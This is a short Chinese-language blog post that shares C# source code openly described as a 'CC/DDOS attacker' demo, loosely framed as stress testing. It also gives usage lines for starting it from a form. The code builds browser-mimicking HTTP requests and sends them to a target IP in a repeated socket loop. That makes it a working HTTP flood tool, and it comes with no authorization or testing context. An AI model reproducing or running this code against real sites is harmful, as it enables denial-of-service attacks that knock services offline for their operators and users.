2013年5月30日星期四

C#压力测试(CC/DDOS攻击)源代码

C#压力测试(CC/DDOS攻击)源代码

分类: C#.Net 268人阅读 评论(0) 收藏 举报
发放一个C#(C#封装的网络类比较多且全面,适合做网页测试软件)的CC/DDOS攻击器demo的源代码。
  1. using System.Text;  
  2. using System.ComponentModel;  
  3. using System.Net.Sockets;  
  4. using System.Net;  
  5.   
  6. namespace DepthCharge  
  7. {  
  8.     class HttpTest  
  9.     {  
  10.         const string NewLine = "\r\n";  
  11.         bool run = false;  
  12.         BackgroundWorker worker;  
  13.         int count;  
  14.         string host;  
  15.         int port;  
  16.         string path;  
  17.         string method;  
  18.         string content;  
  19.         public HttpTest(int count, string host, int port,string path, string method, string content)  
  20.         {  
  21.            this.count=count;  
  22.            this.host = host;  
  23.            this.port = port;  
  24.            this.path = path;  
  25.            this.method = method;  
  26.            this.content = content;  
  27.         }  
  28.   
  29.   
  30.         public void start()  
  31.         {  
  32.             worker = new BackgroundWorker();  
  33.             worker.DoWork += new DoWorkEventHandler(doWork);  
  34.             worker.RunWorkerAsync();  
  35.             worker.WorkerSupportsCancellation = true;  
  36.         }  
  37.         public void stop()  
  38.         {  
  39.             run = false;  
  40.             worker.CancelAsync();  
  41.         }  
  42.         private void doWork(object sender, DoWorkEventArgs e)  
  43.         {  
  44.             run = true;  
  45.             StringBuilder strb = new StringBuilder();  
  46.             strb.Append(method + " " + this.path + NewLine);  
  47.             strb.Append("HOST: " + this.host + NewLine);  
  48.             strb.Append("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7" + NewLine);  
  49.             strb.Append("Accept: */*" + NewLine);  
  50.             strb.Append("Connection: keep-alive" + NewLine);  
  51.             strb.Append("Referer: http://" + this.host + NewLine);  
  52.             strb.Append("HOST: " + this.host + NewLine);  
  53.             strb.Append("Accept-Encoding: gzip,deflate" + NewLine);  
  54.             strb.Append("Accept-Language: zh-CN,zh;q=0.8" + NewLine);  
  55.             if ("POST".Equals(method))  
  56.             {  
  57.                 strb.Append("Content-Length: " + System.Text.Encoding.ASCII.GetBytes(content.ToString()).Length + NewLine);  
  58.             }  
  59.             strb.Append("Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3" + NewLine);  
  60.             strb.Append(NewLine);  
  61.             if ("POST".Equals(method))  
  62.             {  
  63.                 strb.Append(content);  
  64.             }  
  65.             byte[] buf = System.Text.Encoding.ASCII.GetBytes(strb.ToString());  
  66.             for (int i = count; i > 0 && run; --i)  
  67.             {  
  68.                 byte[] recvBuf = new byte[64];  
  69.                 IPAddress ip = IPAddress.Parse(host);  
  70.                 System.Net.IPEndPoint endp = new System.Net.IPEndPoint(ip, 80);  
  71.                 var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);  
  72.                 socket.Connect(endp);  
  73.                 socket.Send(buf);  
  74.                 socket.Receive(recvBuf, 64, SocketFlags.None);  
  75.             }  
  76.         }  
  77.   
  78.         public bool Running { get{return run;} set{run=value;} }  
  79.     }  
  80. }  

使用方法:
  1. httptest = new HttpTest(int.Parse(httpcount.Text), this.httphost.Text,int.Parse(this.httpport.Text), this.httppath.Text, this.httpmethod.Text, this.httpcontent.Text);  
  2. httptest .start();  

没有评论:

发表评论